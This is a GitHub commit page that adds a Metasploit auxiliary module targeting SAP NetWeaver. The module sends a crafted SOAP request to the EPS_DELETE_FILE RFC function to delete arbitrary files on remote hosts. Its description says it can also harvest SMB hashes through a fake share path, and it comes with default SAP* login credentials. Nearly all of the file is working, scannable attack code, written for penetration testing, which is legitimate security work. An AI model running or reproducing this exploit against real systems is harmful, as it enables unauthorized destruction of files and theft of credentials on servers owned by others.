Skip to content

Commit 3e1d1a3

Browse files
author
jvazquez-r7
committed
Land rapid7#1659, @nmonkee's sap_soap_rfc_eps_delete_file module
2 parents 94f841d + 7ad73d8 commit 3e1d1a3

File tree

1 file changed

+108
-0
lines changed

1 file changed

+108
-0
lines changed
Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
##
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11+
# http://www.onapsis.com/research-free-solutions.php.
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13+
# in producing the Metasploit modules and was happy to share his knowledge and
14+
# experience - a very cool guy.
15+
#
16+
# The following guys from ERP-SCAN deserve credit for their contributions -
17+
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
18+
# Dmitry Evdokimov.
19+
#
20+
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
21+
# who have Beta tested the modules and provided excellent feedback. Some people
22+
# just seem to enjoy hacking SAP :)
23+
##
24+
25+
require 'msf/core'
26+
27+
class Metasploit4 < Msf::Auxiliary
28+
include Msf::Exploit::Remote::HttpClient
29+
include Msf::Auxiliary::Report
30+
include Msf::Auxiliary::Scanner
31+
32+
def initialize
33+
super(
34+
'Name' => 'SAP SOAP EPS_DELETE_FILE File Deletion',
35+
'Description' => %q{
36+
This module abuses the SAP NetWeaver EPS_DELETE_FILE function, on the SAP SOAP
37+
RFC Service, to delete arbitrary files on the remote file system. The module can
38+
also be used to capture SMB hashes by using a fake SMB share as DIRNAME.
39+
},
40+
'References' => [
41+
[ 'OSVDB', '74780' ],
42+
[ 'URL', 'http://dsecrg.com/pages/vul/show.php?id=331' ],
43+
[ 'URL', 'https://service.sap.com/sap/support/notes/1554030' ]
44+
],
45+
'Author' =>
46+
[
47+
'Alexey Sintsov', # Vulnerability discovery
48+
'nmonkee' # Metasploit module
49+
],
50+
'License' => MSF_LICENSE
51+
)
52+
53+
register_options([
54+
OptString.new('CLIENT', [true, 'SAP Client', '001']),
55+
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
56+
OptString.new('PASSWORD', [true, 'Password', '06071992']),
57+
OptString.new('DIRNAME', [true, 'Directory Path which contains the file to delete', '/tmp']),
58+
OptString.new('FILENAME', [true, 'Filename to delete', 'msf.txt'])
59+
], self.class)
60+
end
61+
62+
def run_host(ip)
63+
data = '<?xml version="1.0" encoding="utf-8" ?>'
64+
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
65+
data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
66+
data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
67+
data << '<SOAP-ENV:Header/>'
68+
data << '<SOAP-ENV:Body>'
69+
data << '<EPS_DELETE_FILE xmlns="urn:sap-com:document:sap:rfc:functions">'
70+
data << '<DIR_NAME>' + datastore['DIRNAME'] + '</DIR_NAME>'
71+
data << '<FILE_NAME>' + datastore['FILENAME'] + '</FILE_NAME>'
72+
data << '<IV_LONG_DIR_NAME></IV_LONG_DIR_NAME>'
73+
data << '<IV_LONG_FILE_NAME></IV_LONG_FILE_NAME>'
74+
data << '</EPS_DELETE_FILE>'
75+
data << '</SOAP-ENV:Body>'
76+
data << '</SOAP-ENV:Envelope>'
77+
78+
begin
79+
vprint_status("#{rhost}:#{rport} - Sending request to delete #{datastore['FILENAME']} at #{datastore['DIRNAME']}")
80+
res = send_request_cgi({
81+
'uri' => '/sap/bc/soap/rfc',
82+
'method' => 'POST',
83+
'data' => data,
84+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
85+
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
86+
'ctype' => 'text/xml; charset=UTF-8',
87+
'headers' => {
88+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
89+
},
90+
'vars_get' => {
91+
'sap-client' => datastore['CLIENT'],
92+
'sap-language' => 'EN'
93+
}
94+
})
95+
96+
if res and res.code == 200 and res.body =~ /EPS_DELETE_FILE.Response/ and res.body =~ /#{datastore['DIRNAME']}/ and res.body =~ /#{datastore['FILENAME']}/
97+
print_good("#{rhost}:#{rport} - File #{datastore['FILENAME']} at #{datastore['DIRNAME']} successfully deleted")
98+
elsif res
99+
vprint_error("#{rhost}:#{rport} - Response code: " + res.code.to_s)
100+
vprint_error("#{rhost}:#{rport} - Response message: " + res.message.to_s)
101+
vprint_error("#{rhost}:#{rport} - Response body: " + res.body.to_s) if res.body
102+
end
103+
rescue ::Rex::ConnectionError
104+
print_error("#{rhost}:#{rport} - Unable to connect")
105+
return
106+
end
107+
end
108+
end

0 commit comments

Comments
 (0)